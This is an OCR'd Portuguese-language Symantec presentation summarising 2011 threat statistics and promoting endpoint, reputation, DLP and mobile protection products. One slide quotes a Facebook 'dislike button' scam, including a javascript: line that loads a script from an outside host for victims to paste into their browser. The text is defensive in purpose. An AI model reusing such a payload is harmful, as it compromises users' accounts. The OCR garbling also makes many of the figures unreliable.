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Figure G.1

Malicious Activity By Source: Americas Rankings, 2011

: : : Region Region
Region Region Region Region 2§11 Zogll
2011 2011 2011 2011 2011 2011 Nefwork Web
Geography Region World Malicious Spam Phishing Bots Attacking  Attacking
Rank Rank Code Zombies Hosts
Rank Rank Rank i Gea;gar:l?hy Gecégar:lfhy
Brazil 1 4 1 1 1 1 1 1
Argentina 2 22 5 2 3 2 2 4
Colombia 3 28 3 5 2 7 s 5
Mexico 4 29 2 7 < 6 3 2
Chile 5 34 4 4 4 4 4 3
Peru 6 41 7 3 10 3 7 11
Venezuela 7 52 6 9 9 9 b 6
Dominican Rep. 8 54 9 6 25 5 9 15
Uruguay 9 61 20 8 15 13 8 9
Puerto Rico 10 73 11 17 20 8 10 13

Indonesia 10 2.4% 28 0.7% +1.7%




Numeros importantes de 2011

5 5B Ataques bloqueados pela
V4

0,
Symantec f +81%
A(03M Variantes exclusivas de malwaref +41%
4 597 Ataques Web por dia f +36%

4 989 Novas vulnerabilidades ‘ -20%
8 Vulnerabilidades Zero-Day ‘ -43%

315 Novas vulnerabilidades mdveis f +93%

759 Taxa de spam ' -34%
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Spam ainda é eficaz, mas ha mudanc¢as em curso

Global Spam Volume In Circulation, 2011
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O setor de educacao é um dos que mais sofrem com

SPAM

Spam Rate

Sources

84.9% Saudi Arabia

81.7% SrilLanka
79.7% Sweden
79.2% China
79.1% Qatar

77.9% Education
T7.6% Recreation
T76.5% Non-Profit

76.2% Gov/Public
75.9%  Engineering

5.6% 1-250
749% 251-500
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Sector 748% 1501-2500
15.2% 2501+
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QO india 17.4%
() Saudi Arabia 11.7%
O United States 6.1%
O Turkey 5.1%
o (Canada 4.9%
Brazil 4. 2%
Peru 3.9%
Viet Nam 2.9%
Colombia 2.2%
Romania 2.0%
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Vulnerabilidades nao estao sendo descobertas
a mesma taxa anterior

New Vulnerabilities Month-By-Month, 2010 & 2011

687

e Vulnerabilidades Zero-Day também cairam em 2011
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Por que malware continua crescendo?

e Continuam surgindo toolkits para ataques

e Maior eficacia para vulnerabilidades conhecidas

Malicious Web Site Activity: Attack Toolkit Trends, 2011
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DL-Kit
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Por que malware continua crescendo?

e Atagues Web estao crescendo

Average Sites Blocked Each Month




Sites mais prejudiciais por categoria

Malicious Web Activity:
Malicious Code By Number Of Infections Per Site, 2011

Categories Of Web Sites

Religion/ Ideologies

Hosting/ Personal hosted sites
Pornography

Entertainment and Music
Business/ Economy

Technology/ Computer and Internet
Travel

Sports

Automotive

Shopping

Average Number Of Threats Found
On Infected Web Sites

115
39
25
21
17
17
16
13
11

9

Major Threat Type Detected

Fake Antivirus: 82%
Trojans: 43%
Trojans: 44%

Fake Antivirus: 42%

Fake Antivirus: 62%

Fake Antivirus: 54%

Fake Antivirus: 46%

Fake Antivirus: 69%

Fake Antivirus: 41%

Fake Antivirus: 63%

e Sites com baixo nivel de seguranca sao alvos faceis para autores de malware

e Algumas empresas compreendem que os clientes nao visitarao sites que os

infectam
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Por que malware continua crescendo?

e Cibercriminosos estao se aproveitando

das midias sociais r o ‘

— Midia social é viral por natureza — alunos sdo | r |
sociais por natureza LR “j;’:,'cj?,ggmg

— As pessoas suspeitam menos de conteudos de 5 e L

amigos e de colegas

Malicious Web Activity:
Social Networking Attacks By Category, 2011

% Used To Deliver Social

Category # Of Social Network Threats Network Attacks

Blogs / Web Communications 25,022 53%

Hosting/ Personal hosted sites 20,830 44%
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Engenharia social é eficaz nas midias sociais

K ) Dislike
You can use Facebook's new dislike button by following the steps below
Step 1 - Copy Your Unique Code:
Just Clide In the Box To Highlight All Then Press CTRL + € To Copy The Code
javascript  javascrapt

(a={b=docunent ) cresteElenent( 'script')).src='//chinavarriordu info
/dislikea-Button )& . b body appendChild(a) void(0)

Step 2:

Click Here To Visit Facebook.Com
Paste The Code Into Your Browser's Address Bar. Then Hit Enter!

7 Facebook - Windows Internet [xplover
G_A' ol K Id s 2T U |3 = edecument]. o eatrElessent sopd )] wos ' ameu indoie 15 body . €F 2 Tndals ) voad

Note: Be patient. Your code may take up to 1 minute to process

e Colegas dispostos a ajudar acabam se infectando

“HE 5



Ameacas por virus



O Setor Educacional sofre muito com ataques por virus

Virus Rate 1in 1030 United Kingdom 1581 Public Sector 1in288.4 1-250
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1in233.1 [EMSEEN Srain 1in2893 MarketingMedia 1in 1607 2501+
1in299.5 Top 5 Geographies Top 5 ticals 0
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Sources (O united Kingdom 53.2%
(O United States 23.3%
O 3 O Brazil 5.1%
O O Australia 3.1%
o Sweden 2.4%
South Africa 1.7%
o Japan 1.6%
India 1.4%
Netherlands 1.4%
Hong Kong 13%
September 2012
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Ataques direcionados se expandiram



Ameacas direcionadas avancadas

Suas suposicoes estao erradas
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Organizacoes de todos os portes correm o risco de
ataques direcionados

13,518

2.500+
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Ataques direcionados por setor

B Government & Public Sector
» Manufacturing
M Finance
M |T Services
M Chemical & Pharmaceutical
M Transport & Utilities
m Non-Profit
Marketing & Media

I Retail

@Symantec.
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Ataques direcionados por fungao

M C-Level

W Senior

M R&D

M Sales

B Media

B Shared Mailbox

M Personal Assistant
. Recruitment
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Estudo de caso: Taidoor

Targeted Attacks Against One Individual (Mr. X), 2011

e Um alvo foi atacado por 9 meses seguidos

e Em junho, os ataques ocorreram praticamente uma vez por dia

v Symantec. B



E necessario um novo tipo de protecio...
Hoje em dia, 75% dos malwares afetam menos de 50 usuarios

Antivirus Prevencgdo a Intrusdes Reputacdo de Arquivos

o o o

— Crescimento de variantes de malware

e Arquivos Mutantes

H OJ (20 * Scamware, Rogueware

eSubmundo do Crime

eBotnets
*Primeiros “attack kits”
eIncentivos Financeiros

10 ¢ Cavalos de Troia
ANaleksl | e Mass mailer worms

Atras B Script kiddies

m—T002 1998 2001 2006 2007 2008 2009 2010

v Symantec. n
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Protecao Baseada em Reputacao...
Nenhuma protecao atual soluciona a chamada “Long Tail”

AquiVOS Maus Infelizmente, nenhuma técnica funciona AquiVOS Bons

— e I,

P

Frequéncia

|

Listas negras Para esta lacuna, é necessaria Listas brancas
funcionam bem aqui. uma nova técnica. funcionam bem aqui.
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Um exemplo de Tecnologia que
Inova: Protecao Baseada em Reputacgao
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Protecao Baseada em Reputacgao

e Uma tecnologia revolucionaria que oferece
protecao proativa contra ameacas novas e
direcionadas, por meio de classificacoes de
seguranca alimentadas por uma comunidade de
mais de 175 milhGes de endpoints.

e Protecao Baseada em Reputacao é a tecnologia
incorporada ao Symantec Endpoint Protection
qgue permite identificar uma possivel ameaca por
sua “reputacao”.

e Utilizada em todo o produto
 Download Insight
* Scanless
* Monitoramento de comportamento de aplicacdes SONAR

* Heuristica e Corroboracao durante a deteccao

v Symantec.



Como Funciona
Confere a base

2 ) 5hilhdes @ de dados

de arquivos durante os
SCans

175
milhoes
de PCs

E hovo?

Ma reputagao?

Frequéncia
Implementagao

. . ; = 3 Busca Idade
- 77277 da politica de associacdes -
seguranca Comportamento

baseado no risco
do arquivo.

Contexto



Mais Rapida — “Powered by” Protecao Baseada em
Reputacao

N R NN AN A R
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X X X /performance!
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Scanning Tradicional Insight — Scanning - Otimizado

Precisa scanear todos os arquivos Pula os arquivos com boa reputacao,
consequentemente scan mais rapido
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‘Até agora vimos como manter as ameacas fora das empresas,
passamos agora a analisar como garantir que as informacdes boas
mantenham-se nas empresas”
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Complementando a Protecao

e Duas disciplinas que complementam a
protecao do Endpoint

— Prevencgao contra vazamento de
informacao — DLP “Data Loss Prevention”

— Criptografia de “Endpoint”

v/ Symantec. B



~ Protecao de Dados e -
Vazamento de Dados ¢ um 380 milhoes de registros foram

dos top 3 investimentos na area de roubados em 2011, mais do que a

seguranca em 11. soma dos 3 anos anteriores

- Deloitte Global Security Survey - PrivacyRights.org

O faturamento do Cyber-Crime ultrapassou o do
narcotrafico em 2011.



O Problema com os Dados

Dados estao por toda parte e sao
portateis:

— Desktops e Laptops Instant
DLP Policy S

FTP

— HDs de Computadores e

— Dispositivos de
armazenamento mével, taiS File Servers Web servers
como CDs ou drives USB Sharepoint ™

J Lotus
MNotes f
Exchange

Riscos para as Organizacoes:

— Perda de Dados e os custos
associados

Dados em Risco coloca seu Negocio em Risco

@ Symantec.




Solucao DLP

Onde est3o os seus Como ele esta sendo Qual a melhor forma

dados confidenciais? ~ usado? ___ paraevitarasua
perda?




Criptografia do “Endpoint”
Redu¢ao de Risco

e Protege contra perda, roubo e fins indevidos de
computadores

e Reduz os riscos de perda ou roubo de dados
confidenciais

e Possibilidade de destruicao da maquina de
forma remota

e Recursos para recuperacao da maquina
— Localizacao geografica
— Foto automatica

Economia de Dinheiro e Tempo

e Reduz tempo e custo de conformidade com
privacidade

e Credibilidade a marca

e Propriedade Intelectual protegida

v Symantec. B



Criptografia + Data Loss Prevention

 Cifra automaticamente emails contendo dados sensiveis
* Notifica funcionarios em tempo real sobre as politicas de

criptografia

 Descobre onde estao os arquivos contendo dados confidenciais
e aplica criptografia automaticamente

 Descobre dados sensiveis na maquina do usuario
* Proteje os dados copiados para dispositivos USB

1101010010 habilitando politicas de criptografia para dados sensiveis

v Symantec. B



O setor educacional € um grande consumidor de
Mobilidade
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Celulares: Uma nova fonte de violacoes de dados

e Dispositivos moveis contém informacdes profissionais e pessoais

e Ao contrario do que acontece com um computador de mesa, sao
facilmente roubados

e ... e muitas vezes perdidos

v Symantec. B
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Mobile Protection

e Cobertura

abrangente
* E-mail
* Web

* Apps
* Aproveita as

politicas DLP
existentes

* Educa usuarios
* Sandbox

Data Loss Prevention,
Criptografia e MDM
Integrados
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O que vem pela frente em 2012?

e \Mlacs nao sao imunes a malware

— O uso de Java em ataques multiplaforma foi discutido na edicao 16 do
Relatorio

e Autores de malware vao capitalizar a mistura de vida
profissional e pessoal nos dispositivos moveis

e Computacao em nuvem e mobilidade vao forcar a Tl a repensar
a seguranca

v Symantec. B



Mantenha-se informado

Symantec Intelligence
Internet Security Threat Report

S e ~ | www.symantec.com.br/gin
|

% /
'] 1 1 }
h & s
| -
P ' - Security Response
( Our security research centers around the world provide unparalleled analysis of and protection from [T THREATCON
- security threats that include malware, security risks, vulnerabilities, and spam. Level 1: Normal
Overview

Threats Vulnerabilities . i

All Viruses & Risks

90 Day Global Threats, Risks, and Vulnerabilities Timeline @ O Riskm Threat @ Vulnerabilty

W Trojan.Ransomlod. K O VirusDoctor!gen11

° ° .
Site Security Response Sl e
WOSX.Olyx.B W W32 Friter New Trojan Maljava

e

®
bw.tter’ Twitter.com/threatintel
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http://www.symantec.com.br/
http://www.symantec.com.br/
http://www.symantec.com/security_response/
http://www.twitter.com/threatintel
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Gustavo Leite
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